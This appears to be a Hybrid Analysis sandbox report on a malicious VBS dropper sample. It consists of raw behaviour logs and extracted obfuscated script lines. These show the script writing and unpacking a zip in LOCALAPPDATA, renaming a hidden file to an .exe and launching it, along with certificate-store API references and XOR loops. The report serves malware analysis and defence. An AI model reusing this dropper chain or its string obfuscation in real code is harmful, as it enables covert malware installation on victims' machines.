24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 3a:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T477,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Agent Sample 327aa44733c9… — Score 66/100 — Hybrid Analysis","description":"Malicious verdict for sample 327aa44733c9…. Malware family: Agent. Threat score 66/100. 4/26 AV engines flagged this file. 0 malicious and 8 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/327aa44733c9f8d2100e4c3b2fb3dae147f2734ac76cc20e8a8ae506ebb1c85a","keywords":["Malicious","Agent","malware analysis","sandbox report","threat intelligence","327aa44733c9f8d2100e4c3b2fb3dae147f2734ac76cc20e8a8ae506ebb1c85a"],"about":{"@type":"SoftwareApplication","name":"ArbitrjMA4E2328cbjh-YTKFM8RVL958427ZIXJIL.vbs","applicationCategory":["script","vbs"],"identifier":"327aa44733c9f8d2100e4c3b2fb3dae147f2734ac76cc20e8a8ae506ebb1c85a","additionalType":"Malicious sample"},"threatScore":66,"malwareFamily":"Agent","antivirusDetections":{"malicious":4,"total":26},"behavioralIndicators":{"malicious":0,"suspicious":8},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T1049,"WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{05BDC38E-5493-487A-A7FF-8CF2246ABC13}\IMPLEMENTED CATEGORIES\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{05D7B0F4-2121-4EFF-BF6B-ED3F69B894D7}\IMPLEMENTED CATEGORIES\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{05D7B0F4-2121-4EFF-BF6B-ED3F69B894D7}\IMPLEMENTED CATEGORIES\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{05D7B0F4-2121-4EFF-BF6B-ED3F69B894D8}\IMPLEMENTED CATEGORIES\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{05D7B0F4-2121-4EFF-BF6B-ED3F69B894D8}\IMPLEMENTED CATEGORIES\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{05D7B0F4-2121-4EFF-BF6B-ED3F69B894D9}\IMPLEMENTED CATEGORIES\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{05D7B0F4-2121-4EFF-BF6B-ED3F69B894D9}\IMPLEMENTED CATEGORIES\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{05DF8D13-C355-47F4-A11E-851B338CEFB8}\IMPLEMENTED CATEGORIES\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{05DF8D13-C355-47F4-A11E-851B338CEFB8}\IMPLEMENTED CATEGORIES\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{05EBA309-0164-11D3-8729-00C04F79ED0D}\IMPLEMENTED CATEGORIES\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{05EBA309-0164-11D3-8729-00C04F79ED0D}\IMPLEMENTED CATEGORIES\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{05F3561D-0358-4687-8ACD-A34D24C488DF}\IMPLEMENTED CATEGORIES\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{05F3561D-0358-4687-8ACD-A34D24C488DF}\IMPLEMENTED CATEGORIES\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{05F6FE1A-ECEF-11D0-AAE7-00C04FC9B304}\IMPLEMENTED CATEGORIES\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{05F6FE1A-ECEF-11D0-AAE7-00C04FC9B304}\IMPLEMENTED CATEGORIES\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{05FDB3A2-5639-4D24-AF7D-4C6FB0684661}\IMPLEMENTED CATEGORIES\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{05FDB3A2-5639-4D24-AF7D-4C6FB0684661}\IMPLEMENTED CATEGORIES\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{060AF76C-68DD-11D0-8FC1-00C04FD9189D}\IMPLEMENTED CATEGORIES\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{060AF76C-68DD-11D0-8FC1-00C04FD9189D}\IMPLEMENTED CATEGORIES\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{06210E88-01F5-11D1-B512-0080C781C384}\IMPLEMENTED CATEGORIES\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{06210E88-01F5-11D1-B512-0080C781C384}\IMPLEMENTED CATEGORIES\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{06254B9D-05E9-4FBE-968D-F46DBDC91AF9}\IMPLEMENTED CATEGORIES\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{06254B9D-05E9-4FBE-968D-F46DBDC91AF9}\IMPLEMENTED CATEGORIES\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{062584A6-F830-4BDC-A4D2-0A10AB062B1D}\IMPLEMENTED CATEGORIES\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{062584A6-F830-4BDC-A4D2-0A10AB062B1D}\IMPLEMENTED CATEGORIES\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}")26:T4d6,"WScript.exe" queried SystemProcessInformation at 00000000-00001952-00000C15-803017219 [PID: 1952] "WScript.exe" queried SystemProcessInformation at 00000000-00001952-00000C15-803026313 [PID: 1952] "WScript.exe" queried SystemProcessInformation at 00000000-00001952-00000C15-803503370 [PID: 1952] "WScript.exe" queried SystemProcessInformation at 00000000-00001952-00000C15-803512342 [PID: 1952] "WScript.exe" queried SystemProcessInformation at 00000000-00001952-00000C15-803694111 [PID: 1952] "WScript.exe" queried SystemProcessInformation at 00000000-00001952-00000C15-803702318 [PID: 1952] "WScript.exe" queried SystemProcessInformation at 00000000-00001952-00000C15-809761290 [PID: 1952] "WScript.exe" queried SystemProcessInformation at 00000000-00001952-00000C15-809769263 [PID: 1952] "?Lbd34FNl_2_@%9O3.exe" queried SystemProcessInformation at 00000000-00004180-00000C15-822287789 [PID: 4180] "?Lbd34FNl_2_@%9O3.exe" queried SystemProcessInformation at 00000000-00004180-00000C15-822295355 [PID: 4180] "?Lbd34FNl_2_@%9O3.exe" queried SystemProcessInformation at 00000000-00004180-00000C15-822546013 [PID: 4180] "?Lbd34FNl_2_@%9O3.exe" queried SystemProcessInformation at 00000000-00004180-00000C15-822553461 [PID: 4180]27:T4fb,Script name: C:\ArbitrjMA4E2328cbjh-YTKFM8RVL958427ZIXJIL.vbs contents: IWshShell3.ExpandEnvironmentStrings("%LOCALAPPDATA%"); IFileSystem3.FileExists("C:\Users\HAPUBWS\AppData\Local\ZdZoqVJs1Rk&mQkM.qqx"); IXMLDOMDocument2.createElement("TPlyejpIGJ"); _Stream.Type("1"); _Stream.Open(); _Stream.Write("Unsupported parameter type 00002011"); _Stream.SaveToFile("C:\Users\HAPUBWS\AppData\Local\$Lbd34FNl_2_@%9O3.zip", "2"); _Stream.Close(); IFileSystem3.GetAbsolutePathName("C:\Users\HAPUBWS\AppData\Local\$Lbd34FNl_2_@%9O3.zip"); IFileSystem3.GetAbsolutePathName("C:\Users\HAPUBWS\AppData\Local"); IFileSystem3.FileExists("C:\Users\HAPUBWS\AppData\Local\$Lbd34FNl_2_@%9O3.zip"); IFileSystem3.FolderExists("C:\Users\HAPUBWS\AppData\Local"); IShellDispatch6.NameSpace("C:\Users\HAPUBWS\AppData\Local\$Lbd34FNl_2_@%9O3.zip"); IShellDispatch6.NameSpace("C:\Users\HAPUBWS\AppData\Local"); Folder3.Items(); Folder3.CopyHere("Unsupported parameter type 00000009", "4"); Folder3.Items(); FolderItems3.Count(); Folder3.Items(); FolderItems3.Count(); IFileSystem3.MoveFile("C:\Users\HAPUBWS\AppData\Local\ANDugmifSoXFxcdLoiBF.qqx", "C:\Users\HAPUBWS\AppData\Local\$Lbd34FNl_2_@%9O3.exe"); IShellDispatch6.ShellExecute("C:\Users\HAPUBWS\AppData\Local\$Lbd34FN", "", "", "open", "1"); 28:T654,Found api reference "CryptDecodeObject" (Indicator: "CryptDecodeObject"; Source: "00000000-00004180.00000001.120597.00F90000.00000004.mdmp") Found api reference "PFXImportCertStore" (Indicator: "PFXImportCertStore"; Source: "00000000-00004180.00000001.120597.00F90000.00000004.mdmp") Found api reference "CertGetNameStringW" (Indicator: "CertGetNameStringW"; Source: "00000000-00004180.00000001.120597.00F90000.00000004.mdmp") Found api reference "CertNameToStrW" (Indicator: "CertNameToStrW"; Source: "00000000-00004180.00000001.120597.00F90000.00000004.mdmp") Found api reference "CertFreeCertificateContext" (Indicator: "CertFreeCertificateContext"; Source: "00000000-00004180.00000001.120597.00F90000.00000004.mdmp") Found api reference "CertDuplicateCertificateContext" (Indicator: "CertDuplicateCertificateContext"; Source: "00000000-00004180.00000001.120597.00F90000.00000004.mdmp") Found api reference "CertCloseStore" (Indicator: "CertCloseStore"; Source: "00000000-00004180.00000001.120597.00F90000.00000004.mdmp") Found api reference "CertOpenSystemStoreW" (Indicator: "CertOpenSystemStoreW"; Source: "00000000-00004180.00000001.120597.00F90000.00000004.mdmp") Found api reference "CertOpenStore" (Indicator: "CertOpenStore"; Source: "00000000-00004180.00000001.120597.00F90000.00000004.mdmp") Found api reference "CertFindChainInStore" (Indicator: "CertFindChainInStore"; Source: "00000000-00004180.00000001.120597.00F90000.00000004.mdmp") Found api reference "CertFindCertificateInStore" (Indicator: "CertFindCertificateInStore"; Source: "00000000-00004180.00000001.120597.00F90000.00000004.mdmp")29:Tdad,Found XOR loop in file "ANDugmifSoXFxcdLoiBF.qqx" at offset 377821; code bytes = 30d0 Found XOR loop in file "ANDugmifSoXFxcdLoiBF.qqx" at offset 459476; code bytes = 30d0 Found XOR loop in file "ANDugmifSoXFxcdLoiBF.qqx" at offset 2559192; code bytes = 30d0 Found XOR loop in file "ANDugmifSoXFxcdLoiBF.qqx" at offset 243410; code bytes = 33c1 Found XOR loop in file "ANDugmifSoXFxcdLoiBF.qqx" at offset 636280; code bytes = 33c1 Found XOR loop in file "ANDugmifSoXFxcdLoiBF.qqx" at offset 929325; code bytes = 33c1 Found XOR loop in file "ANDugmifSoXFxcdLoiBF.qqx" at offset 1431666; code bytes = 33c1 Found XOR loop in file "ANDugmifSoXFxcdLoiBF.qqx" at offset 1431769; code bytes = 33c1 Found XOR loop in file "ANDugmifSoXFxcdLoiBF.qqx" at offset 4148024; code bytes = 33c1 Found XOR loop in file "ANDugmifSoXFxcdLoiBF.qqx" at offset 4156187; code bytes = 33c1 Found XOR loop in file "ANDugmifSoXFxcdLoiBF.qqx" at offset 194357; code bytes = 8030 Found XOR loop in file "ANDugmifSoXFxcdLoiBF.qqx" at offset 194384; code bytes = 8030 Found XOR loop in file "ANDugmifSoXFxcdLoiBF.qqx" at offset 194819; code bytes = 8030 Found XOR loop in file "ANDugmifSoXFxcdLoiBF.qqx" at offset 194846; code bytes = 8030 Found XOR loop in file "ANDugmifSoXFxcdLoiBF.qqx" at offset 195095; code bytes = 8030 Found XOR loop in file "ANDugmifSoXFxcdLoiBF.qqx" at offset 195119; code bytes = 8030 Found XOR loop in file "ANDugmifSoXFxcdLoiBF.qqx" at offset 195346; code bytes = 8030 Found XOR loop in file "ANDugmifSoXFxcdLoiBF.qqx" at offset 195427; code bytes = 8030 Found XOR loop in file "ANDugmifSoXFxcdLoiBF.qqx" at offset 195450; code bytes = 8030 Found XOR loop in file "ANDugmifSoXFxcdLoiBF.qqx" at offset 195474; code bytes = 8030 Found XOR loop in file "ANDugmifSoXFxcdLoiBF.qqx" at offset 195502; code bytes = 8030 Found XOR loop in file "ANDugmifSoXFxcdLoiBF.qqx" at offset 195526; code bytes = 8030 Found XOR loop in file "ANDugmifSoXFxcdLoiBF.qqx" at offset 1598513; code bytes = 8030 Found XOR loop in file "ANDugmifSoXFxcdLoiBF.qqx" at offset 1612192; code bytes = 8030 Found XOR loop in file "ANDugmifSoXFxcdLoiBF.qqx" at offset 1616286; code bytes = 8030 Found XOR loop in file "ANDugmifSoXFxcdLoiBF.qqx" at offset 1741136; code bytes = 8030 Found XOR loop in file "ANDugmifSoXFxcdLoiBF.qqx" at offset 2092446; code bytes = 8030 Found XOR loop in file "ANDugmifSoXFxcdLoiBF.qqx" at offset 3053935; code bytes = 8030 Found XOR loop in file "ANDugmifSoXFxcdLoiBF.qqx" at offset 3114497; code bytes = 8030 Found XOR loop in file "ANDugmifSoXFxcdLoiBF.qqx" at offset 3201469; code bytes = 8030 Found XOR loop in file "ANDugmifSoXFxcdLoiBF.qqx" at offset 3201584; code bytes = 8030 Found XOR loop in file "ANDugmifSoXFxcdLoiBF.qqx" at offset 3348231; code bytes = 8030 Found XOR loop in file "ANDugmifSoXFxcdLoiBF.qqx" at offset 3348892; code bytes = 8030 Found XOR loop in file "ANDugmifSoXFxcdLoiBF.qqx" at offset 3351017; code bytes = 8030 Found XOR loop in file "ANDugmifSoXFxcdLoiBF.qqx" at offset 3470209; code bytes = 8030 Found XOR loop in file "ANDugmifSoXFxcdLoiBF.qqx" at offset 3797237; code bytes = 8030 Found XOR loop in file "ANDugmifSoXFxcdLoiBF.qqx" at offset 4531240; code bytes = 8030 Found XOR loop in file "ANDugmifSoXFxcdLoiBF.qqx" at offset 4535093; code bytes = 8030 Found XOR loop in file "ANDugmifSoXFxcdLoiBF.qqx" at offset 4913364; code bytes = 8030 Found XOR loop in file "ANDugmifSoXFxcdLoiBF.qqx" at offset 4918930; code bytes = 80302a:T2280,"WScript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001952) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001952) "WScript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e0acb3d45c020000000000000000000051ed4fedff7f0000000000005c020000000000000000000098348c3e212600002a0000000000000070c9d6d05c0200008fec4fedff7f0000e0acb3d45c020000e0acb3d45c020000000000000000000000000000ff7f0000ffffff7ff2ee000000000000000000000000000000000000d8cea7d45c0200002a0000000000000069c360d45c0200003100000000000000e002000000000000e402000000000000110001100000000030cecf2ff000000003a3b4ecff7f000030cecf2ff000000000000000000000002b00000000000000000000000000000020b066d45c020000b43f65d45c020000e0cea7d4 (UID: 00000000-00001952) "WScript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000080000000000000000000000000000000000000000000000810100000000000010200000000000000000d4d05c0200000b8e4dedff7f00000000d4d05c0200000a000000ff7f000000200000000000001020000000000000d07ed4d05c02000048b5cf2ff000000019b6cf2ff000000003000000ff7f0000e0e2d8d05c02000069ee51edff7f00000000000000000000c05fd9d05c020000385db5dc00000000400000000000000000000000000000008403fe7f00000000e0e2d8d05c0200008503fe7f0000000000000000000000000000d0bbff7f000000000000000000000029d0bbff7f00000000000000000000f7d9d1bbff7f000000000000 (UID: 00000000-00001952) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000360d00000000000050a6cf2ff0000000040000000000000010d67fac6c01000006000000000000000300000000000000a74094e9ff7f00000000000000000000000000000000000000000000000000000101000000000000c07d4fdc5c0200000a000000000000000000000000000000000000000000000043003a005c00550073006500720073000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004984dedff7f00000000000000000000000000000000000000000000 (UID: 00000000-00001952) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000a011ced05c02000000000000000000000000ced05c0200000040ac2ff0000000000000000000000000000000000000000000000000000000000000000000000028002a0000000000c00cced05c02000019000000000000004000000000000000f09ecf2ff000000000000000000000000000000000000000000000000000000000000000000000000400000000000000e00dced05c02000000000000000000000000ced05c0200000040ac2ff000000040000000000000000000000000000000320000000000000000000000000000000000000000000000ffffffff5c02000000000000 (UID: 00000000-00001952) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000073005c0041006c006c00460069006c006500730079007300740065006d004f0062006a006500630074000000000000000000ffffffff7300650000000000000000000000000000000000604015dc5c02000030b2cf2ff0000000d442dad05c02000010624fdc5c020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000340000c000000000e5ff93e9ff7f0000feffffffffffffff1ca1cf2ff0000000f25752d35c020000b8dda7e9ff7f0000100012005c0200000000000000000000d09fcf2ff0000000b10e94e9ff7f0000d09fcf2ff00000000000000000000000952d6583 (UID: 00000000-00001952) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000000000000000000f00b4fdc5c020000170000000000000043003a005c005500feffffffffffffffd0904fdc5c020000550042005700530000000000000000005500420057005300000000000000000000d557ecff7f000018000000000000001b800800d888cf2f7089cf2ff0000000f1221ddbff7f0000388acf2ff000000018000000000000008889cf2ff0000000f30b0000000000007089cf2ff000000018000000000000001089cf2f987880574f8c6244bb6371042380b10900000000008c6244bb637104805375eaff7f00000000000000000000000000000000000000000000000000000000000000000000fffffffff000000000000000 (UID: 00000000-00001952) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000996a4dedff7f00000000d4d05c020000000000000000000000000000000000000000d4d05c02000086c2b1bec4ad0000d6674dedff7f0000efbe0000000000002847dad05c020000f03ddad05c0200002847dad05c020000000000000000000008674fdc5c0200009882cf2ff0000000b49d30eaff7f0000303b15dc5c020000d6674dedff7f0000ffffffff00000000607910dc5c0200000000000000000000000000000000000001000000000000000000000000000000d0654fdc5c0200009c9631eaff7f0000500fdfd05c0200000c00000000000000080000000000000031d49decff7f00000000000000000000ffffffff0000000000000000 (UID: 00000000-00001952) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000996a4dedff7f00000000d4d05c020000000000000000000000000000000000000000d4d05c02000086c2b1bec4ad0000d6674dedff7f0000efbe000000000000c843dad05c020000f03ddad05c020000c843dad05c020000000000000000000008674fdc5c0200009882cf2ff0000000b49d30eaff7f0000303b15dc5c020000d6674dedff7f0000ffffffff00000000b07910dc5c0200000000000000000000000000000000000001000000000000000000000000000000d0654fdc5c0200009c9631eaff7f0000500fdfd05c0200000c00000000000000080000000000000031d49decff7f00000000000000000000ffffffff0000000000000000 (UID: 00000000-00001952) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000996a4dedff7f00000000d4d05c020000000000000000000000000000000000000000d4d05c02000086c2b1bec4ad0000d6674dedff7f0000efbe0000000000000858dad05c020000f03ddad05c0200000858dad05c020000000000000000000078b529d45c0200009882cf2ff0000000b49d30eaff7f0000109229d45c020000d6674dedff7f0000ffffffff0000000000a929d45c020000000000000000000000000000000000000100000000000000000000000000000040b429d45c0200009c9631eaff7f0000500fdfd05c0200000c00000000000000080000000000000031d49decff7f00000000000000000000ffffffff0000000000000000 (UID: 00000000-00001952) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000996a4dedff7f00000000d4d05c020000000000000000000000000000000000000000d4d05c02000086c2b1bec4ad0000d6674dedff7f0000efbe0000000000007845dad05c020000f03ddad05c0200007845dad05c020000000000000000000038bb29d45c0200009882cf2ff0000000b49d30eaff7f0000109229d45c020000d6674dedff7f0000ffffffff00000000a0ae29d45c020000000000000000000000000000000000000100000000000000000000000000000000ba29d45c0200009c9631eaff7f0000500fdfd05c0200000c00000000000000080000000000000031d49decff7f00000000000000000000ffffffff0000000000000000 (UID: 00000000-00001952) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000996a4dedff7f00000000d4d05c020000000000000000000000000000000000000000d4d05c02000086c2b1bec4ad0000d6674dedff7f0000efbe000000000000084fdad05c020000f03ddad05c020000084fdad05c020000000000000000000078bc29d45c0200009882cf2ff0000000b49d30eaff7f0000109229d45c020000d6674dedff7f0000ffffffff00000000e0a529d45c020000000000000000000000000000000000000100000000000000000000000000000040bb29d45c0200009c9631eaff7f0000500fdfd05c0200000c00000000000000080000000000000031d49decff7f00000000000000000000ffffffff0000000000000000 (UID: 00000000-00001952) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000996a4dedff7f00000000d4d05c020000000000000000000000000000000000000000d4d05c02000086c2b1bec4ad0000d6674dedff7f0000efbe000000000000c843dad05c020000f03ddad05c020000c843dad05c0200000000000000000000b8bd29d45c0200009882cf2ff0000000b49d30eaff7f0000109229d45c020000d6674dedff7f0000ffffffff00000000c0a729d45c020000000000000000000000000000000000000100000000000000000000000000000080bc29d45c0200009c9631eaff7f0000500fdfd05c0200000c00000000000000080000000000000031d49decff7f00000000000000000000ffffffff0000000000000000 (UID: 00000000-00001952)2b:T8c8,"WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000000000000000000000180000000000000041ca423e5a83000088018c3e2126000006000000000000000000d75cf77f0000a402eec8ff7f0000060000005c020000d8f1ecebff7f000060facf2ff0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d75c (UID: 00000000-00001952) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000005cf3cf2ff0000000000000000000000010f7cf2ff0000000b804d7d05c02000070edcf2ff000000000000000000000004ef795e9ff7f00005cf3cf2ff00000000000000000000000000000000000000099ddecebff7f0000000000000000000000edcf2ff000000010edcf2ff000000001000000f000000000000000 (UID: 00000000-00001952) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000004e7b96e9ff7f000000007cd1ff7f00000000000000000000000000000000000008067dd1ff7f00000001000000000000f098b3ecff7f000000010000000000000001000000000000000000000000000000067dd1ff7f000001000000000000000f187cd1ff7f0000000000000000000000067dd1ff7f000000000000 (UID: 00000000-00001952) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f00009c31b1c6ff7f0000708bb3c6ff7f00000200000000000000708bb3c6ff7f000000000000000000000300000000000000b131b1c6ff7f0000a815b4c6ff7f0000f0c5cfd05c02000000c6cfd05c020000888bb3c6ff7f00000100000000000000239fb5ecff7f00000000000000000000888bb3c6ff7f000006000000 (UID: 00000000-00001952) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f0000303d69c6ff7f0000c0fe6ac6ff7f00000400000000000000c0fe6ac6ff7f000000000000000000000500000000000000453d69c6ff7f0000286a6bc6ff7f0000be5a97e9ff7f000078cccfd05c020000e18a423e5a830000b08e97e9ff7f0000239fb5ecff7f00000100000000000000d13269c6ff7f0000000090e9 (UID: 00000000-00001952) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f0000be5a97e9ff7f00000000d7c8ff7f000000000000000000000000000000000000883fd8c8ff7f00000001000000000000f098b3ecff7f0000000100000000000000010000000000000000000000000000803fd8c8ff7f00000100000000000000bf10d7c8ff7f00000000000000000000803fd8c8ff7f000000000000 (UID: 00000000-00001952)2c:T6a5,Found string "Set qTAoqktJ=CreateObject(BfHPkdsuLyNl("Scripting.F ^@(?!-/]ile,^@(?!-/]Sys,^@(?!-/]te,^@(?!-/]mObjec,^@(?!-/]t"))" (Indicator: "set "; File: "ArbitrjMA4E2328cbjh-YTKFM8RVL958427ZIXJIL.vbs"), Found string "Set rgiNFOKMJRhra=CreateObject(BfHPkdsuLyNl("She,^@(?!-/]ll.,^@(?!-/]A,^@(?!-/]ppl,^@(?!-/]ication"))" (Indicator: "set "; File: "ArbitrjMA4E2328cbjh-YTKFM8RVL958427ZIXJIL.vbs"), Found string "Set zCGZhElgE=rgiNFOKMJRhra.NameSpace(IKzdbKFqumd)" (Indicator: "set "; File: "ArbitrjMA4E2328cbjh-YTKFM8RVL958427ZIXJIL.vbs"), Found string "Set aJcNLtRVUBApvcy=rgiNFOKMJRhra.NameSpace(nnKfgeKqiFhV)" (Indicator: "set "; File: "ArbitrjMA4E2328cbjh-YTKFM8RVL958427ZIXJIL.vbs"), Found string "Set rgiNFOKMJRhra=CreateObject(BfHPkdsuLyNl("WS,^@(?!-/]c,^@(?!-/]ript,^@(?!-/].Shel,^@(?!-/]l"))" (Indicator: "set "; File: "ArbitrjMA4E2328cbjh-YTKFM8RVL958427ZIXJIL.vbs"), Found string "Set LRHQsNdbTrz=qTAoqktJ.OpenTextFile(EpaNYFAVY, 1)" (Indicator: "set "; File: "ArbitrjMA4E2328cbjh-YTKFM8RVL958427ZIXJIL.vbs"), Found string "Set apmNIqrXgcG=CreateObject(BfHPkdsuLyNl("Micro,^@(?!-/]sof,^@(?!-/]t.XM,^@(?!-/]LDOM"))" (Indicator: "set "; File: "ArbitrjMA4E2328cbjh-YTKFM8RVL958427ZIXJIL.vbs"), Found string "Set rXXCRacbCUNzN=CreateObject(BfHPkdsuLyNl("AD,^@(?!-/]ODB,^@(?!-/].,^@(?!-/]S,^@(?!-/]t,^@(?!-/]re,^@(?!-/]am"))" (Indicator: "set "; File: "ArbitrjMA4E2328cbjh-YTKFM8RVL958427ZIXJIL.vbs"), Found string "Set tNiXJaUykdjq=apmNIqrXgcG.createElement("TPlyejpIGJ")" (Indicator: "set "; File: "ArbitrjMA4E2328cbjh-YTKFM8RVL958427ZIXJIL.vbs"), Found string "Set hikeZgVIzQ=qTAoqktJ.CreateTextFile(EpaNYFAVY,True)" (Indicator: "set "; File: "ArbitrjMA4E2328cbjh-YTKFM8RVL958427ZIXJIL.vbs")2d:T9fa,"WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001952) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001952) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001952) "WScript.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001952) "WScript.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00001952) "WScript.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00001952) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00001952) "WScript.exe" called "LoadLibrary" with a parameter WLDP.DLL (UID: 00000000-00001952) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00001952) "WScript.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00001952) "WScript.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows 